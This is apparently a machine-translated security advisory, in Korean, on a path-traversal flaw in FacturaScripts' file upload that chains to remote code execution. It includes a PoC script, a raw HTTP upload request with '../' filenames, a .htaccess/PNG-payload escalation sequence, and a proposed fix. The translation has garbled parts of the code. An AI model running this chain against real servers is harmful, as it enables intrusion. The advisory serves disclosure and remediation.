FacturaScripts: getClientOriginalName()을 통한 UploadedFile::move()의 경로 탐색 — RCE로 이어지는 MyFiles/ 외부의 임의 파일 쓰기
FacturaScripts\Core\UploadedFile::move($destiny, $destinyName)는 결과 경로를 정규화하지 않고 $destiny와 $destinyName을 연결합니다. 코드베이스의 모든 호출자는 UploadedFile::getClientOriginalName()(위생되지 않은 클라이언트 제공 파일 이름)을 $destinyName으로 전달하므로 ../ 세그먼트가 포함된 파일 이름을 제출하는 인증된 사용자는 의도된 MyFiles/ 위치를 벗어나 웹 서버 사용자가 쓸 수 있는 모든 디렉터리에 업로드된 콘텐츠를 쓸 수 있습니다.
제공된 htaccess-sample(문서화된 프로덕션 Apache 구성)은 index.php 재작성에서 Dinamic/Assets/ 및 node_modules/를 제외하므로 해당 디렉토리에 기록된 파일은 Apache에서 직접 제공됩니다. BLOCKED_EXTENSIONS에 없는 .htaccess와 결합하면 기본 요소가 임의 파일 쓰기에서 원격 코드 실행으로 에스컬레이션됩니다.
코어/업로드된 파일.php:
``php private const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];
공개 함수 이동(문자열 $destiny, 문자열 $destinyName): bool { if (!$this->isValid()) { 거짓을 반환; } if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) { $운명 .= DIRECTORY_SEPARATOR; } $this->test를 반환하시겠습니까? 이름 바꾸기($this->tmp_name, $destiny . $destinyName) : move_uploaded_file($this->tmp_name, $destiny . $destinyName); }
공용 함수 getClientOriginalName(): 문자열 { $this->name을 반환 ?? ''; }
`isValid()`는 확장 차단 목록, 업로드 오류 코드, `is_uploaded_file()`만 확인합니다. 파일 이름에서 디렉터리 구분 기호나 `..` 세그먼트는 검사하지 않습니다.
6개의 호출 사이트는 원시 클라이언트 파일 이름을 `move()`에 직접 전달합니다.
- `코어/컨트롤러/ApiUploadFiles.php:58` — `POST /api/3/uploadfiles`
- `코어/컨트롤러/ApiAttachedFiles.php:136` — `POST /api/3/attachedfiles`
- `Core/Lib/Widget/WidgetFile.php:84` — 파일 위젯을 사용하는 모든 양식
- `Core/Lib/Widget/WidgetLibrary.php:215` — 라이브러리 위젯 업로드
- `Core/Lib/ExtendedController/DocFilesTrait.php:51` — 문서 파일 특성
- `Core/Controller/AdminPlugins.php:260` — 플러그인(zip) 업로드
대표 싱크 — `Core/Controller/ApiUploadFiles.php:56-79`:
``php
개인 함수 uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
if (false === $uploadFile->isValid()) {
null을 반환;
}
$운명 = FS_FOLDER . '/내파일/';
$destinyName = $uploadFile->getClientOriginalName();
if (file_exists($destiny . $destinyName)) {
$destinyName = mt_rand(1, 999999) . '_' . $운명이름;
}
if ($uploadFile->move($destiny, $destinyName)) {
...
}
}
배송된 htaccess-sample(프로덕션 Apache 규칙):
``아파치 RewriteEngine 켜기 재작성베이스 / RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC] RewriteCond %{REQUEST_URI} !node_modules/ [NC] RewriteRule . index.php [L] </If모듈>
따라서 Apache는 `index.php`를 완전히 우회하여 `Dinamic/Assets/` 아래의 모든 파일을 직접 제공합니다.
## PoC
### 1단계 - 파일 쓰기 프리미티브의 정적 재생산
다음 스크립트는 샌드박스 임시 디렉터리 내에서 `UploadedFile::move()`의 `rename()` 경로를 그대로 복제합니다. 페이로드를 실행하지 않습니다. 파일 이름에 `../`가 포함된 경우 대상이 `MyFiles/`를 이스케이프한다는 것만 보여줍니다.
``php
<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR. 'fs_verify_' . 유니퀴드();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');
$tmp = $베이스 . '/tmp_upload.dat';
file_put_contents($tmp, "정적 검증 마커\n");
함수 fs_move($tmp_name, $destiny, $destinyName) {
if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
$운명 .= DIRECTORY_SEPARATOR;
}
return rename($tmp_name, $destiny . $destinyName);
}
fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');
echo file_exists($base . '/Dinamic/Assets/traversed.txt')
? "MyFiles 외부에 기록\n"
: "차단됨\n";
출력:
MyFiles 외부에서 작성됨
``http POST /api/3/uploadfiles HTTP/1.1 호스트: 대상 토큰: <유효한 API 토큰> 콘텐츠 유형: 다중 부분/양식 데이터; 경계=---X
-----엑스 내용-처리: 양식-데이터; 이름="파일[]"; 파일 이름="../Dinamic/Assets/traversed.txt" 콘텐츠 유형: 텍스트/일반
정적 검증 마커 -----엑스--
요청 후 `Dinamic/Assets/traversed.txt`가 디스크에 존재하며 `https://target/Dinamic/Assets/traversed.txt`에서 연결할 수 있습니다. 경로가 `index.php` 재작성에서 제외되기 때문에 Apache가 이를 직접 제공합니다.
### 3단계 - 코드 실행 연결
`.htaccess`가 `BLOCKED_EXTENSIONS`에 없기 때문에 동일한 기본 요소가 `Dinamic/Assets/`에 Apache 재정의를 작성할 수 있습니다.
1. 파일 이름 `../Dinamic/Assets/.htaccess` 및 본문 `AddType application/x-httpd-php .png`로 업로드합니다.
2. PHP 페이로드가 포함된 파일 이름 `../Dinamic/Assets/x.png`로 업로드합니다(`png` 확장자는 차단되지 않으며 콘텐츠는 `isValid()`에 의해 검증되지 않습니다).
3. `https://target/Dinamic/Assets/x.png` 요청 — Apache는 업로드된 `.htaccess`에 따라 이를 PHP 핸들러에 전달합니다.
## 근본 원인
`UploadedFile::move()`는 원시 `$destiny 를 수행합니다. $destinyName` 연결을 통해 `$this->name ??을 반환하는 `getClientOriginalName()`을 신뢰합니다. ''` 정규화가 없습니다. 클라이언트 파일 이름을 `move()`에 전달하기 전에 `basename()` 또는 이에 상응하는 항목을 적용하는 호출 사이트는 없습니다. 'BLOCKED_EXTENSIONS'의 차단 목록은 PHP 계열 확장만 다루고 재작성 제외 디렉터리가 코드 실행에 유용하게 사용되는 데 필요한 'htaccess'는 포함하지 않습니다.
## 영향
인증된 공격자(6개의 업로드 진입점 중 하나를 호출할 수 있는 권한이 있는 모든 역할 - 레코드에 파일을 첨부할 수 있는 모든 사용자 또는 `uploadfiles`/`attachedfiles` 액세스 권한이 있는 API 토큰 포함)는 다음을 수행할 수 있습니다.
- `Dinamic/Assets/`(Apache-direct-served) 및 `node_modules/`를 포함하여 웹 서버 사용자가 쓸 수 있는 애플리케이션 루트 아래의 모든 경로에 임의의 콘텐츠를 작성합니다.
- `Dinamic/Assets/` 내에 제공된 JS/CSS를 덮어쓰고 모든 관리자의 브라우저에서 실행되는 클라이언트 측 스크립트를 삽입 → 다음 관리 페이지 로드 시 세션 인계.
- PHP 핸들러에 대한 양성 확장을 다시 매핑하는 `.htaccess`를 `Dinamic/Assets/`에 드롭한 다음 실행 가능한 페이로드를 전달하는 두 번째 업로드가 이어집니다. 즉, 웹 서버 사용자로서 전체 원격 코드 실행이 가능합니다.
필수 전제 조건은 표준 설치에서 광범위한 비관리 역할에 부여되는 업로드 권한이 있는 인증된 세션 또는 API 토큰뿐입니다.
## 수정
최소한의 수정 — `UploadedFile::move()` 내부를 정리하여 모든 호출 사이트가 자동으로 처리되도록 합니다.
``php
공개 함수 이동(문자열 $destiny, 문자열 $destinyName): bool
{
if (!$this->isValid()) {
거짓을 반환;
}
// 클라이언트가 제공한 파일 이름에서 모든 디렉터리 구성 요소를 제거합니다.
$destinyName = 베이스이름($destinyName);
if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
$운명 .= DIRECTORY_SEPARATOR;
}
$this->test를 반환하시겠습니까?
이름 바꾸기($this->tmp_name, $destiny . $destinyName) :
move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}
moveTo()에 동일한 변경 사항을 적용합니다.
추가로 권장되는 강화:
htaccess, htm, html, shtml, phtm을 BLOCKED_EXTENSIONS에 추가하거나 차단 목록을 호출 사이트별로 해결된 허용 목록으로 교체합니다.realpath()를 사용하여 결과가 여전히 의도한 기본 디렉터리 내에 있는지 확인합니다. 그렇지 않으면 중단하십시오.GitHub 보안 권고를 통해 관리자에게 비공개로 보고되었습니다. 승인을 기다리는 중입니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 99.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 99.00 |
VPI 공식 vpi-v1 기준